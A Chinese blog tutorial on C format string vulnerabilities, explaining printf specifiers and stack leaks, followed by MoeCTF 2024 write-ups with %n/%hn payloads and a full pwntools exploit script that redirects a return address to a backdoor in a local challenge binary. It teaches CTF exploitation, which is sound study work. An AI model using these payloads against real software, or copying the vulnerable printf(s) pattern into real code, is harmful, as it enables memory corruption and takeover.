格式化字符串相关知识
fmt_str
原理介绍
格式化字符串函数介绍
格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分
- 格式化字符串函数
- 格式化字符串
- 后续参数,可选
这里我们给出一个简单的例子,其实相信大多数人都接触过 printf 函数之类的。之后我们再一个一个进行介绍。
格式化字符串函数
输入
- scanf
输出
函数 | 函数作用 |
---|---|
printf | 输出到 stdout |
fprintf | 输出到指定 FILE 流 |
vprintf | 根据参数列表格式化输出到 stdout |
vfprintf | 根据参数列表格式化输出到指定 FILE 流 |
sprintf | 输出到字符串 |
snprintf | 输出指定字节数到字符串 |
vsprintf | 根据参数列表格式化输出到字符串 |
vsnprintf | 根据参数列表格式化输出指定字节到字符串 |
setproctitle | 设置 argv |
syslog | 输出日志 |
格式化字符串的结构
基本格式如下:
%[parameter][flags][field width][.precision][length]type
重要的参数如下:
-
parameter
- n$,获取格式化字符串中的指定参数
-
flag
-
field width
- 输出的最小宽度
-
precision
- 输出的最大长度
-
length,输出的长度
- hh,输出一个字节
- h,输出一个双字节
-
type
- d/i,有符号整数
- u,无符号整数
- x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
- s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
- c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
- p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
- n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
- %, '
%
'字面值,不接受任何 flags, width。
格式化字符串原理
格式化字符串函数是根据格式化字符串来进行解析的 。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说'%s'表明我们会输出一个字符串参数。
例如
//printf("addr of format string: Color %s...",'red',123456,3.14) stack(由高地址到低地址) some value 3.14 123456 addr of "red" addr of format string: Color %s...
运行如下:
在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况
- 当前字符不是 %,直接输出到相应标准输出。
- 当前字符是 %, 继续读取下一个字符
- 如果没有字符,报错
- 如果下一个字符是 %, 输出 %
- 否则根据相应的字符,获取相应的参数,对其进行解析并输出
那么假设,此时我们在编写程序时候,写成了下面的样子
printf("Color %s, Number %d, Float %4.2f");
此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为
- 解析其地址对应的字符串
- 解析其内容对应的整形值
- 解析其内容对应的浮点值
这基本就是格式化字符串漏洞的基本原理了。
利用
其实,在上一部分,我们展示了格式化字符串漏洞的两个利用手段
- 使程序崩溃,因为 %s 对应的参数地址不合法的概率比较大。
- 查看进程内容,根据 %d,%f 输出了栈上的内容。
下面我们会对于每一方面进行更加详细的解释。
泄露内存
利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作
- 泄露栈内存
- 获取某个变量的值
- 获取某个变量对应地址的内存
- 泄露任意地址内存
- 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
- 盲打,dump 整个程序,获取有用信息。
给定程序
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
执行
我们在gdb中查看一下
非栈上格式化字符串
我们以moectf的where_is_fmt为例
三次构造
打开源代码
int vuln()
{
int result; // eax
int i; // [rsp+Ch] [rbp-4h]
puts("Welcome to MoeCTF 2024!");
result = puts("You will have 3 chances to exploit... But where is my fmt?");
for ( i = 3; i > 0; --i )
{
printf("\nYou have %d chances.\n", (unsigned int)i);
read(0, buf, 0x100uLL);
result = printf(buf);
}
return result;
}
很明显的格式化字符串漏洞,不过这个输入点不在栈上,先进行测试,先给出执行printf时栈空间
运行程序看能否泄露
发现依然能泄露栈上的地址,我们就先来泄露出栈的地址,经过多次调试发现,rbp位置上的数据总是(rbp+0x10),利用这个数据,我们就能知道栈的地址
利用思路
利用条件很明显,该题有后门,我们需要将(rbp+8)位置上的数据篡改为backdoor
我们知道%n是将数据读取为地址,并将已经输出的数据长度写入到对应地址上,我们需要找一个链子,有三个指向例如
addr1->addr2->(rbp+8)
这样我们就可以根据addr1篡改返回地址,但是这个链子也需要构造,那我们就知道了
如果有这样一条链子
addr1->addr2->addr3
//利用addr1可以篡改addr3的值,将其篡改为指向(rbp+8)
addr1->addr2->(rbp+8)->(main+28)
//这样我们利用addr2就可篡改返回地址到后门,得到shell
exp
第一次格式化字符串泄露ebp
payload1 = 'aaaa%8$p'
第二次构造fmt链
rip = (stack + 0x8)&(0xffff)
#payload = '%15$p'
payload = '%'+str(rip)+'c%15$hn'.ljust(16,'a')
可以看到我们的链子就构造完成
第三次直接篡改到后门‘
payload3 = "%4613"+"c%45$hn"
至此该题目就完成了
规避格式化字符串指定地址解析特性
moectf 2024 One Chance!
保护全开
依然有后门,但是只能输入一次
unsigned __int64 vuln()
{
__int64 v1; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
v1 = 0LL;
printf("gift: %p\n", &v1);
puts("You will have only one chance!");
read(0, buf, 0x100uLL);
printf(buf);
return v2 - __readfsqword(0x28u);
}
给了栈的地址,但是只能输入一次,我们要改两次地址
这里的问题是不能直接%...c%15
第一步找偏移量
找链子
选偏移量为15作为链子
既然printf 在遇到第一个位置指定的格式化字符后才会触发这种机制,那我们就先不使用这种格式化字符,所以我们在前面可以构造'%c'*x+f
'%{修改的值}c%hn
'这种 payload,这会向 x+2位置的地址的值修改,但是却不会触发这种机制。这样之后就能愉快的通过栈链把返回地址改为backdoor了
那我们还是要将栈上的一个指针指向返回地址
所以第一个payload
payload = '%c'*13 + f'%{ret_addr & 0xffff - 13}c%hn'
之后就是
payload = f'%{((ret_addr & 0xffff)+0xff)&~0xff +(backdoor&0xff) +ret_addr }c%{0x2d}$hhn'
exp如下
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda num :io.recv(num)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(io.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
def duan():
gdb.attach(io)
pause()
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
backdoor = 0x1208
io = process("./pwn")
ru("0x")
ret_addr = int(io.recv(12), 16) + 0x18
ret_addr = ret_addr & 0xffff
pad = '%c' * 13 + f'%{ret_addr - 13}c%hn'
pad += f'%{((ret_addr + 0xff) & ~0xff) + (backdoor & 0xff) - ret_addr}c%{0x27 + 6}$hhn'
pad = pad.encode()
ru("chance!")
io.sendline(pad)
itr()
本文作者:dr4w
本文链接:https://www.cnblogs.com/zMeedA/p/18725443
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步